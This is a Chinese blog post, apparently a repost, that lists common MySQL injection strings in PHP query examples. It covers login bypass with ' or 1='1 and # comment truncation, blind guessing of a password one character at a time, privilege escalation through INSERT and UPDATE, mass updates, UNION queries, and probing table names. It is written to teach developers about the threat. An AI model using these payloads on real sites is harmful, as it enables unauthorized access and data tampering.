asp.net request防sql注入_技术干货 | 常见的mysql注入语句

4fac78ac54cf2f26e4fe9bf2e04e4b5a.gif

(1)不用用户名和密码

1 //正常语句

2 $sql =”select * from phpben where user_name=’admin’

and pwd =’123′”;

3 //在用户名框输入’or’=’or’或 ‘or 1=’1 然后sql如下

4 $sql =”select * from phpben where user_name=’

‘or’=’or” and pwd =” “;

5 $sql =”select * from phpben where user_name=’

‘or 1=’1′ and pwd =” “;

这样不用输入密码。

(2)在不输入密码的情况下,利用某用户。

1 //正常语句

2 $sql =”select * from phpben where user_name=’$username’

and pwd =’$pwd'”;

3 //利用的用户名是benwin 则用户名框输入benwin’# 密码有无都可,

则$sql变成

4 $sql =”select * from phpben where user_name=’ benwin’

#’ and pwd =’$pwd'”;

这是因为mysql中其中的一个注悉是“#”,上面语句中#已经把后面的内容给注释掉,所以密码可以不输入或任意输入。网上有些人介绍说用“/*”来注悉,小编想提的是只有开始注悉没结束注悉“*/”时,mysql会报错,也不是说“/**/”不能注悉,而是这里很难添加上“*/”来结束注悉,还有“– ”也是可以注悉mysql 但要注意“–”后至少有一个空格也就是“– ”,当然防注入代码要把三种都考虑进来,值得一提的是很多防注入代码中没把“– ”考虑进防注入范围。

 (3)猜解某用户密码

1 //正常语句

2 $sql =”select * from phpben.com where user_name=

’$username’ and pwd =’$pwd'”;

3 //在密码输入框中输入“benwin’ and left(pwd,1)=’p’#”,

则$sql是

4 $sql =”select * from phpben.com where user_name=

’ benwin’ and left(pwd,1)=’p’#’ and pwd =’$pwd'”;

如果运行正常则密码的密码第一个字符是p,同理猜解剩下字符。

(4)插入数据时提权

1 //正常语句,等级为1

2 $sql = “insert into phpben.com (`user_name`,`pwd`,

`level`) values(‘benwin’,’iampwd’,1) “;

3 //通过修改密码字符串把语句变成

4 $sql = “insert into phpben.com (`user_name`,`pwd`,

`level`) values(‘benwin’,’iampwd’,5)#’,1) “;

5 $sql = “insert into phpben.com (`user_name`,`pwd`,

`level`) values(‘benwin’,’iampwd’,5)– ‘,1) “;这样就把一个权限为1的用户提权到等级5

(5)更新提权和插入提权同理

1 //正常语句

2 $sql = “update phpben set `user_name` =’benwin’,

level=1″;

3 //通过输入用户名值最终得到的$sql

4 $sql = “update phpben set `user_name` =’benwin’,

level=5#’, level=1″;

5 $sql = “update phpben set `user_name` =’benwin’,

level=5– ‘, level=1″;

(6)恶意更新和删除

1 //正常语句

2 $sql = “update phpben set `user_name` = ‘benwin’ where

id =1″;

3 //注入后,恶意代码是“1 or id>0”

4 $sql = “update phpben set `user_name` = ‘benwin’ where

id =1 or id>0″;

5 //正常语句

6 $sql = “update phpben set `user_name` =’benwin’ where

id=1″;

7 //注入后

8 $sql = “update phpben set `user_name` =’benwin’ where

id>0#’ where id=1″;

9 $sql = “update phpben set `user_name` =’benwin’ where

id>0– ‘ where id=1″;

(7)union、join等

1 //正常语句

2 $sql =”select * from phpben1 where `user_name`=

’benwin’“;

3 //注入后

4 $sql =”select * from phpben1 where`user_name`=

’benwin’ uninon select * from phpben2#’ “;

5 $sql =”select * from phpben1 where`user_name`=

’benwin’ left join……#’ “;

(8)通配符号%、_

1 //正常语句

2 $sql =”select * from phpben where `user_name`=

’benwin’ “;

3 //注入通配符号%匹配多个字符,而一个_匹配一个字符,如__则匹配两个字符

4 $sql =”select * from phpben where `user_name`

like ‘%b’ “;

5 $sql =”select * from phpben where `user_name`

like ‘_b_’ “;

这样只要有一个用户名字是b开头的都能正常运行,“ _b_”是匹配三个字符,且这三个字符中间一个字符时b。这也是为什么有关addslashes()函数介绍时提示注意没有转义%和_(其实这个是很多phper不知问什么要过滤%和_下划线,只是一味的跟着网上代码走)

(9)还有很多猜测表信息的注入sql

1 //正常语句

2 $sql =”select * from phpben1 where`user_name`=

’benwin'”;

3 //猜表名,运行正常则说明存在phpben2表

4 $sql =”select * from phpben1 where`user_name`=

’benwin’ and (select count(*) from phpben2 )>0#’ “;

5 //猜表字段,运行正常则说明phpben2表中有字段colum1

6 $sql =”select * from phpben1 where`user_name`=

’benwin’ and (select count(colum1) from phpben2 )>0#'”;

7 //猜字段值

8 $sql =”select * from phpben1 where`user_name`=

’benwin’ and left(pwd,1)=’p’#””;

当然还有很多,这里提出这些都是比较常见的,也是phper应该知道并掌握的,而不是一味的在网上复制粘贴一些防注入代码,知然而不解其然。

588ccf7a2a2d276b6bc5f5bbd663dc19.png

f7dcc541df023b3ce7c1a2818a397033.gif END

|  More ·精彩回顾 |

乡村网络安全意识培训专题会议成功召开

2020年需要关注的七个新增/热门网络安全认证

教育部:网络安全等16个领域纳入国家安全教育,大中小学全覆盖

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值